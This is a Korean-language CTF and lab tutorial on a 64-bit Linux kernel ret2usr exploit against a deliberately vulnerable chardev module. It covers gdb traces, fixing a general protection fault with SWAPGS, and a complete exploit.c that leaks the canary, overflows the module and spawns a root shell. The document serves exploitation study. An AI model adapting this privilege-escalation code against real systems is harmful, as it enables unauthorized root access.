[ 1282.308552] RDX: 0000000000000001 RSI: 0000000000000246 RDI: 0000000000000246
[ 1282.308553] RBP: 4343434343434343 R08: 74636e7566202928 R09: 6666203a206e6f69
[ 1282.308554] R10: 3030383866666666 R11: 0000000000000747 R12: 4242424242424242
[ 1282.308555] R13: 0000000000000078 R14: ffff88001acdff20 R15: 0000000000000000
[ 1282.308556] FS:  0000000001d39880(0063) GS:ffff88003c600000(0000) knlGS:0000000000000000
[ 1282.308557] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1282.308558] CR2: 00007fce993a5000 CR3: 0000000036f4c000 CR4: 00000000000406f0
[ 1282.308563] Stack:
[ 1282.308564]  4444444444444444 4545454545454545 4646464646464646 0000000000000000
[ 1282.308566]  ffff88001f58c300 ffff88001f58c300 00000000006c1ea0 0000000000000078
[ 1282.308568]  0000000000000000 ffff88001acdff48 ffffffff811fe7a6 0000000000000044
[ 1282.308569] Call Trace:
[ 1282.308574]  [<ffffffff811fe7a6>] ? SyS_write+0x46/0xa0
[ 1282.308578]  [<ffffffff817f6f36>] ? entry_SYSCALL_64_fastpath+0x16/0x75
[ 1282.308579] Code: 4c 89 e6 cc ef 78 21 c1 48 85 c0 74 24 48 c7 c0 f2 ff ff ff 48 8b 4d e8 65 48 33 0c 25 28 00 00 00 75 09 48 83 c4 48 5b 41 5c 5d <cc> e8 16 44 eb c0 48 8d 75 a8 48 c7 c7 f0 a0 1c c0 e8 18 78 fb
[ 1282.308591] RIP  [<ffffffffc01c9144>] chardev_write+0x74/0x90 [chardev]
[ 1282.308593]  RSP <ffff88001acdfec0>
[ 1282.308595] ---[ end trace 4f146b46d6b496e5 ]---
[ 1282.324111] The chardev_release() function has been called.
[ 1352.790654] audit: type=1400 audit(1549616174.548:65): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/lib/cups/backend/cups-pdf" pid=3150 comm="apparmor_parser"
[ 1352.790662] audit: type=1400 audit(1549616174.548:66): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/sbin/cupsd" pid=3150 comm="apparmor_parser"
[ 1352.790893] audit: type=1400 audit(1549616174.548:67): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/sbin/cupsd" pid=3150 comm="apparmor_parser"
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$

Restore the stack pointer & ret2usr

  • "general protection fault" 에러에 대한 설명을 진행하기 전에 다음과 같이 스택 포인터의 백업과 ret2usr를 구현하겠습니다.
    • IRET 명령어에 필요한 stack layout 형태의 구조체(struct trap_frame tf)를 생성합니다.
      • trap_frame 구조체 내에 선언된 변수의 크기를 64bit에 맞게 uint64_t 선언합니다.
    • 어셈블리 코드를 이용하여 stack layout에 필요한 레지스터의 값을 tf 구조체에 저장하는 함수(prepare_tf)를 구현합니다.

      • RIP 영역에는 shell을 실행하는 함수의 주소를 저장합니다.

    • payload 함수에 권한 상승 및 stack pointer를 복구하는 코드를 작성합니다.
Back up and restore the stack pointer.
//gcc -masm=intel -static -o test test.c

...
void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
  
struct trap_frame {
    void     *user_rip;		// instruction pointer
    uint64_t user_cs;		// code segment
    uint64_t user_rflags;	// CPU flags
    void     *user_rsp;		// stack pointer
    uint64_t user_ss;		// stack segment
} __attribute__((packed));
struct trap_frame tf;
   
void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}
   
void prepare_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
        );
    tf.user_rip = &getShell ;
}
    
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov %%rsp, %0;"
        "iretq;"
    : : "r" (&tf));
}

...

    //Exploit code
    int k = 8;
    memset(&rop[0], 0x41, 64);
    rop[k++] = canary;
    rop[k++] = 0;
    rop[k++] = 0;
    rop[k++] = 0;
    rop[k++] = (size_t)payload;
    
    prepare_tf();
  
    //Overflow
    write(fd, rop, 8*k++);
...
  • 추가된 코드를 이용하여 모듈을 디버깅하기 위해 모듈을 새로 등록하고 주소값을 확인합니다.
  • 디버깅할 함수는 chardev_write이며, 주소는 0xffffffffc01a10d0 입니다.
address of the chardev module
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ cat /proc/kallsyms |grep chardev
ffffffffc01a1000 t chardev_lseek	[chardev]
ffffffffc01a1090 t chardev_release	[chardev]
ffffffffc01a10d0 t chardev_write	[chardev]
ffffffffc01a1160 t chardev_read	[chardev]
ffffffffc01a12a0 t chardev_init	[chardev]
ffffffffc01a34a0 b chardev_cdev	[chardev]
ffffffffc01a3508 b chardev_major	[chardev]
ffffffffc01a3480 b __key.25747	[chardev]
ffffffffc01a3480 b chardev_class	[chardev]
ffffffffc01a13e0 t chardev_exit	[chardev]
ffffffffc01a3100 d __this_module	[chardev]
ffffffffc01a3000 d chardev_fops	[chardev]
ffffffffc01a13e0 t cleanup_module	[chardev]
ffffffffc01a12a0 t init_module	[chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$


Set Breakpoint chardev_write
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50	/build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory.
(gdb) b *0xffffffffc01a10d0
Breakpoint 1 at 0xffffffffc01a10d0
(gdb) c
Continuing.
  • 앞에서 구현한 코드를 빌드하여 실행합니다.
Run test program
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./test
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

24 f6 a7 5f 00 00 00 00 a0 2c 6c 00 00 00 00 00  | $??_?,l
canary is :24 f6 a7 5f 00 00 00 00 
  • 모듈의 디버깅을 위해 다음과 같이 Breakpoint를 설정합니다.
    • 0xffffffffc01a1144 : chardev_write() 함수의 ret 명령어 호출전
    • 해당 영역에서 유저영역으로 부터 전달 받은 값에 의해 Return address가 변경되어 유저 영역으로 코드의 흐름이 변경된 것을 확인할 수 있습니다.
  • payload(ret2usr)함수의 동작을 디버깅하기 위해 다음과 같이 Breakpoint를 설정합니다.
    • 0x4010c8 : prepare_kernel_cred() 함수가 호출되는지 확인

    • 0x4010cd : commit_creds() 함수가 호출되는지 확인

    • 0x4010cf : tf 구조체의 주소 값이 전달되는지 확인

Breakpoints
Breakpoint 1, 0xffffffffc01a10d0 in ?? ()
(gdb) x/40i $rip
=> 0xffffffffc01a10d0:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc01a10d5:	push   rbp
   0xffffffffc01a10d6:	mov    rdi,0xffffffffc01a2088
   0xffffffffc01a10dd:	mov    rbp,rsp
...
   0xffffffffc01a1140:	pop    rbx
   0xffffffffc01a1141:	pop    r12
   0xffffffffc01a1143:	pop    rbp
   0xffffffffc01a1144:	ret    
   0xffffffffc01a1145:	call   0xffffffff8107d560 <__stack_chk_fail>
   0xffffffffc01a114a:	lea    rsi,[rbp-0x58]
   0xffffffffc01a114e:	mov    rdi,0xffffffffc01a20f0
   0xffffffffc01a1155:	call   0xffffffff81180972 <printk>
   0xffffffffc01a115a:	mov    rax,rbx
   0xffffffffc01a115d:	jmp    0xffffffffc01a112d
   0xffffffffc01a115f:	nop
   0xffffffffc01a1160:	nop    DWORD PTR [rax+rax*1+0x0]
(gdb) b *0xffffffffc01a1144
Breakpoint 2 at 0xffffffffc01a1144
(gdb) c
Continuing.

Breakpoint 2, 0xffffffffc01a1144 in ?? ()
(gdb) si
0x00000000004010ac in ?? ()
(gdb) x/20i $rip
=> 0x4010ac:	push   rbp
   0x4010ad:	mov    rbp,rsp
   0x4010b0:	push   rbx
   0x4010b1:	sub    rsp,0x8
   0x4010b5:	mov    rbx,QWORD PTR [rip+0x2c3dec]        # 0x6c4ea8
   0x4010bc:	mov    rax,QWORD PTR [rip+0x2c3ded]        # 0x6c4eb0
   0x4010c3:	mov    edi,0x0
   0x4010c8:	call   rax
   0x4010ca:	mov    rdi,rax
   0x4010cd:	call   rbx
   0x4010cf:	mov    eax,0x6c4e80
   0x4010d4:	mov    rsp,rax
   0x4010d7:	iret   
   0x4010d8:	add    rsp,0x8
   0x4010dc:	pop    rbx
   0x4010dd:	pop    rbp
   0x4010de:	ret    
   0x4010df:	push   rbp
   0x4010e0:	mov    rbp,rsp
   0x4010e3:	push   rbx
(gdb) b *0x4010c8
Breakpoint 3 at 0x4010c8
(gdb) b *0x4010cd
Breakpoint 4 at 0x4010cd
(gdb) b *0x4010cf
Breakpoint 5 at 0x4010cf
(gdb) c
Continuing.
  • 다음과 같이 ret2usr 코드의 동작을 확인할 수 있습니다.

    • 0x4010c8 영역에서 RAX 레지스터에 prepare_kernel_cred() 함수의 주소가 저장되어 정상적으로 호출됩니다.

    • 0x4010cd 영역에서 RBX 레지스터에 commit_creds() 함수의 주소가 저장되어 정상적으로 호출됩니다.

    • 0x4010cf 영역에서 RAX 레지스터에  tf 구조체의 주소 값이 저장되어 RSP 레지스터의 값이 변경됩니다.

Debug the payload() function
Breakpoint 3, 0x00000000004010c8 in ?? ()
(gdb) i r rax
rax            0xffffffff8109da40  -2130060736
(gdb) c
Continuing.

Breakpoint 4, 0x00000000004010cd in ?? ()
(gdb) i r rbx
rbx            0xffffffff8109d760  -2130061472
(gdb) c
Continuing.

Breakpoint 5, 0x00000000004010cf in ?? ()
(gdb) si
0x00000000004010d4 in ?? ()
(gdb) i r rax
rax            0x6c4e80            7097984
(gdb) x/10gx 0x6c4e80
0x6c4e80:	0x000000000040105e	0x0000000000000033
0x6c4e90:	0x0000000000000202	0x00007ffddf1c6dc0
0x6c4ea0:	0x000000000000002b	0xffffffff8109d760
0x6c4eb0:	0xffffffff8109da40	0x0000000000000000
0x6c4ec0:	0x0000000000000060	0x0000000000000040
(gdb) 
  • iret 명령어에 의해 레지스터의 값이 변경되지 않고 general_protection() 이 호출됩니다.
    • 32bit와 같이 ret2usr를 구현하였으나 Stack point가 복원되지 않고 에러가 발생합니다.
Error : general_protection
(gdb) si
0x00000000004010d7 in ?? ()
(gdb) x/i $rip
=> 0x4010d7:	iret   
(gdb) i r
rax            0x6c4e80            7097984
rbx            0xffffffff8109d760  -2130061472
rcx            0xcd                205
rdx            0xce                206
rsi            0x40                64
rdi            0xffff8800357144c0  -131940498717504
rbp            0xffff88002797bec0  0xffff88002797bec0
rsp            0x6c4e80            0x6c4e80
r8             0xffff880032f833f8  -131940540206088
r9             0xffff88003f807c00  -131940329948160
r10            0xffff88001ba7d0c0  -131940931350336
r11            0x0                 0
r12            0x4242424242424242  4774451407313060418
r13            0x68                104
r14            0xffff88002797bf20  -131940731076832
r15            0x0                 0
rip            0x4010d7            0x4010d7
eflags         0x246               [ PF ZF IF ]
cs             0x10                16
ss             0x0                 0
ds             0x0                 0
es             0x0                 0
fs             0x63                99
gs             0x0                 0
(gdb) si
0xffffffff817f9030 in general_protection () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S:981
981	/build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S: No such file or directory.
(gdb) i r
rax            0x6c4e80            7097984
rbx            0xffffffff8109d760  -2130061472
rcx            0xcd                205
rdx            0xce                206
rsi            0x40                64
rdi            0xffff8800357144c0  -131940498717504
rbp            0xffff88002797bec0  0xffff88002797bec0
rsp            0x6c4e50            0x6c4e50
r8             0xffff880032f833f8  -131940540206088
r9             0xffff88003f807c00  -131940329948160
r10            0xffff88001ba7d0c0  -131940931350336
r11            0x0                 0
r12            0x4242424242424242  4774451407313060418
r13            0x68                104
r14            0xffff88002797bf20  -131940731076832
r15            0x0                 0
rip            0xffffffff817f9030  0xffffffff817f9030 <general_protection>
eflags         0x46                [ PF ZF ]
cs             0x10                16
ss             0x0                 0
ds             0x0                 0
es             0x0                 0
fs             0x63                99
gs             0x0                 0
(gdb) c
Continuing.

Program received signal SIGINT, Interrupt.
0x0000000001000200 in ?? ()
(gdb) c
Continuing.

General Protection Fault

  • 일반적으로 General Protection Fault는 커널이나 사용자 프로그램에서 실행되는 코드에 의해 발생하며, 액세스 위반에 의해 발생하는 장애입니다.
  • 조금더 정확한 에러의 원인을 확인하기 위해 "/arch/x86/entry/entry_64.S" 코드를 살펴 보겠습니다.
    • 코드에서는 장애의 원인으로 2가지가 있다고 합니다.
      • 첫번째 원인은 DS, ES, FS 또는 GS를 다시 로드하는 중 오류가 발생
      • 두번째 원인은 IRET 실행 중 오류
  • 32Bit에서 구현한 ret2usr 코드를 사용했기 때문에 두번째 에러 원인에 해당되지 않는다고 가정할 수 있습니다.
    • 즉, 에러의 원인이 DS, ES, FS, GS 레지스터 때문이라고 판단할 수 있습니다.
/linux/v4.4/source/arch/x86/entry/entry_64.S#L919
/*
 * Hypervisor uses this for application faults while it executes.
 * We get here for two reasons:
 *  1. Fault while reloading DS, ES, FS or GS
 *  2. Fault while executing IRET
 * Category 1 we do not need to fix up as Xen has already reloaded all segment
 * registers that could be reloaded and zeroed the others.
 * Category 2 we fix up by killing the current process. We cannot use the
 * normal Linux return path in this case because if we use the IRET hypercall
 * to pop the stack frame we end up in an infinite loop of failsafe callbacks.
 * We distinguish between categories by comparing each saved segment register
 * with its current contents: any discrepancy means we in category 1.
 */
ENTRY(xen_failsafe_callback)
	movl	%ds, %ecx
	cmpw	%cx, 0x10(%rsp)
	jne	1f
	movl	%es, %ecx
	cmpw	%cx, 0x18(%rsp)
	jne	1f
	movl	%fs, %ecx
	cmpw	%cx, 0x20(%rsp)
	jne	1f
	movl	%gs, %ecx
	cmpw	%cx, 0x28(%rsp)
	jne	1f
	/* All segments match their saved values => Category 2 (Bad IRET). */
	movq	(%rsp), %rcx
	movq	8(%rsp), %r11
	addq	$0x30, %rsp
	pushq	$0				/* RIP */
	pushq	%r11
	pushq	%rcx
	jmp	general_protection
1:	/* Segment mismatch => Category 1 (Bad segment). Retry the IRET. */
	movq	(%rsp), %rcx
	movq	8(%rsp), %r11
	addq	$0x30, %rsp
	pushq	$-1 /* orig_ax = -1 => not a system call */
	ALLOC_PT_GPREGS_ON_STACK
	SAVE_C_REGS
	SAVE_EXTRA_REGS
	jmp	error_exit
END(xen_failsafe_callback)

apicinterrupt3 HYPERVISOR_CALLBACK_VECTOR \
	xen_hvm_callback_vector xen_evtchn_do_upcall

#endif /* CONFIG_XEN */

#if IS_ENABLED(CONFIG_HYPERV)
apicinterrupt3 HYPERVISOR_CALLBACK_VECTOR \
	hyperv_callback_vector hyperv_vector_handler
#endif /* CONFIG_HYPERV */

idtentry debug			do_debug		has_error_code=0	paranoid=1 shift_ist=DEBUG_STACK
idtentry int3			do_int3			has_error_code=0	paranoid=1 shift_ist=DEBUG_STACK
idtentry stack_segment		do_stack_segment	has_error_code=1

#ifdef CONFIG_XEN
idtentry xen_debug		do_debug		has_error_code=0
idtentry xen_int3		do_int3			has_error_code=0
idtentry xen_stack_segment	do_stack_segment	has_error_code=1
#endif

idtentry general_protection	do_general_protection	has_error_code=1
trace_idtentry page_fault	do_page_fault		has_error_code=1

#ifdef CONFIG_KVM_GUEST
idtentry async_page_fault	do_async_page_fault	has_error_code=1
#endif

SWAPGS

  • "General Protection Fault"에러를 해결하기 위해 SWAPGS 명령어를 이용하여 GS레지스터 값 변경이 필요합니다.
    • SWAPGS 명령어는 GS.base의 값을 MSR의 KernelGSbase(C0000102H) 값과 교환하는 명령어입니다.
  • "General Protection Fault"에러를 해결하기 위해 payload()함수에 "swapgs;" 어셈블리코드를 추가합니다.

gcc -masm=intel -static -o test test4.c
...
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
	    "mov %%rsp, %0;"
        "iretq;"
    : : "r" (&tf));
}
...
  • 새로 추가된 코드의 동작을 확인하기 위해 새로 모듈을 등록하고 Breakpoint 설정이 필요합니다.

    • 모듈을 등록하고 Breakpoint를 설정하는 내용은 생략하고 바로 payload()함수를 분석하겠습니다.

    • 0x4010d4 영역에서 추가된 "swapgs" 명령어를 확인할 수 있습니다.

payload() function
0x00000000004010ac in ?? ()
(gdb) x/20i $rip
=> 0x4010ac: push   rbp
   0x4010ad:    mov    rbp,rsp
   0x4010b0:    push   rbx
   0x4010b1:    sub    rsp,0x8
   0x4010b5:    mov    rbx,QWORD PTR [rip+0x2c3dec]        # 0x6c4ea8
   0x4010bc:    mov    rax,QWORD PTR [rip+0x2c3ded]        # 0x6c4eb0
   0x4010c3:    mov    edi,0x0
   0x4010c8:    call   rax
   0x4010ca:    mov    rdi,rax
   0x4010cd:    call   rbx
   0x4010cf:    mov    eax,0x6c4e80
   0x4010d4:    swapgs
   0x4010d7:    mov    rsp,rax
   0x4010da:    iretq 
...
(gdb) b *0x4010cf
Breakpoint 3 at 0x4010cf
(gdb) c
Continuing.
  • "SWAPGS" 명령어가 실행되기 전과 후의 레지스터 값의 변화는 "i r" 명령어로 확인이 어렵습니다.

    • 하지만 이전 코드와 달리 iretq 명령어 실행 후 코드의 흐름이 getShell 함수로 이동하는 것을 확인할 수 있습니다.
  • 즉, "SWAPGS" 명령어로 인해 "General Protection Fault"에러를 해결하고 정상적으로 ret2usr이 동작하게 됩니다.
Changes in Registers
Breakpoint 3, 0x00000000004010cf in ?? ()
(gdb) si
0x00000000004010d4 in ?? ()
(gdb) i r rax
rax            0x6c4e80            7097984
(gdb) i r
rax            0x6c4e80            7097984
rbx            0xffffffff8109d760  -2130061472
rcx            0xcd                205
rdx            0xce                206
rsi            0x40                64
rdi            0xffff880008e98dc0  -131941245809216
rbp            0xffff880029fafec0  0xffff880029fafec0
rsp            0xffff880029fafeb0  0xffff880029fafeb0
r8             0xffff880034a2e0f8  -131940512243464
r9             0xffff88003f807c00  -131940329948160
r10            0xffff880023a63560  -131940797237920
r11            0x0                 0
r12            0x4242424242424242  4774451407313060418
r13            0x68                104
r14            0xffff880029faff20  -131940691017952
r15            0x0                 0
rip            0x4010d4            0x4010d4
eflags         0x246               [ PF ZF IF ]
cs             0x10                16
ss             0x18                24
ds             0x0                 0
es             0x0                 0
fs             0x63                99
gs             0x0                 0
(gdb) si
0x00000000004010d7 in ?? ()
(gdb) i r
rax            0x6c4e80            7097984
rbx            0xffffffff8109d760  -2130061472
rcx            0xcd                205
rdx            0xce                206
rsi            0x40                64
rdi            0xffff880008e98dc0  -131941245809216
rbp            0xffff880029fafec0  0xffff880029fafec0
rsp            0xffff880029fafeb0  0xffff880029fafeb0
r8             0xffff880034a2e0f8  -131940512243464
r9             0xffff88003f807c00  -131940329948160
r10            0xffff880023a63560  -131940797237920
r11            0x0                 0
r12            0x4242424242424242  4774451407313060418
r13            0x68                104
r14            0xffff880029faff20  -131940691017952
r15            0x0                 0
rip            0x4010d7            0x4010d7
eflags         0x246               [ PF ZF IF ]
cs             0x10                16
ss             0x18                24
ds             0x0                 0
es             0x0                 0
fs             0x63                99
gs             0x0                 0
(gdb) si
0x00000000004010da in ?? ()
(gdb) i r rsp
rsp            0x6c4e80            0x6c4e80
(gdb) x/i $rip
=> 0x4010da:	iretq  
(gdb) si
0x000000000040105e in ?? ()
(gdb) x/10i $rip
=> 0x40105e:	push   rbp
   0x40105f:	mov    rbp,rsp
   0x401062:	mov    edx,0x0
   0x401067:	mov    esi,0x494108
   0x40106c:	mov    edi,0x49410b
   0x401071:	mov    eax,0x0
   0x401076:	call   0x4340f0
   0x40107b:	pop    rbp
   0x40107c:	ret    
   0x40107d:	push   rbp
(gdb) c
Continuing.
  • 다음과 같이 ret2usr를 이용하여 shell을 획득하게 됩니다.
Get shell
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./r2u
commit_creds address is :0xffffffff8109d760
prepare_kernel_cred address is :0xffffffff8109da40
53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00  | ?Gԩ?,l
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Exploit code

  • 다음과 같이 Exploit code를 완성할 수 있습니다.
exploit.c
//gcc -masm=intel -static -o r2u exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
 
#define TEXT_LEN 64
 
void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;

struct trap_frame {
    void     *user_rip;		// instruction pointer
    uint64_t user_cs;		// code segment
    uint64_t user_rflags;	// CPU flags
    void     *user_rsp;		// stack pointer
    uint64_t user_ss;		// stack segment
} __attribute__((packed));
struct trap_frame tf;
   
void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}
   
void prepare_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
        );
    tf.user_rip = &getShell ;
}
    
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
	"mov %%rsp, %0;"
        "iretq;"
    : : "r" (&tf));
}
void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
   
    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
            addr = NULL;
        }
    }
    fclose(fp);
    return addr;
}

int main()
{
    static char buf[512];
    size_t rop[512] = {0}; 
    char val[8];
    int fd,i,j;
 
    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);

    //Find the address of "commit_creds()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 

    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);
 
    int k = 8;
    memset(&rop[0], 0x41, 64);
    rop[k++] = canary;
    rop[k++] = 0x4141414141414141; //AAAAAAAA
    rop[k++] = 0x4242424242424242; //BBBBBBBB
    rop[k++] = 0x4343434343434343; //CCCCCCCC
    rop[k++] = (size_t)payload;
 
    prepare_tf();

    write(fd, rop, 8*k++);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

References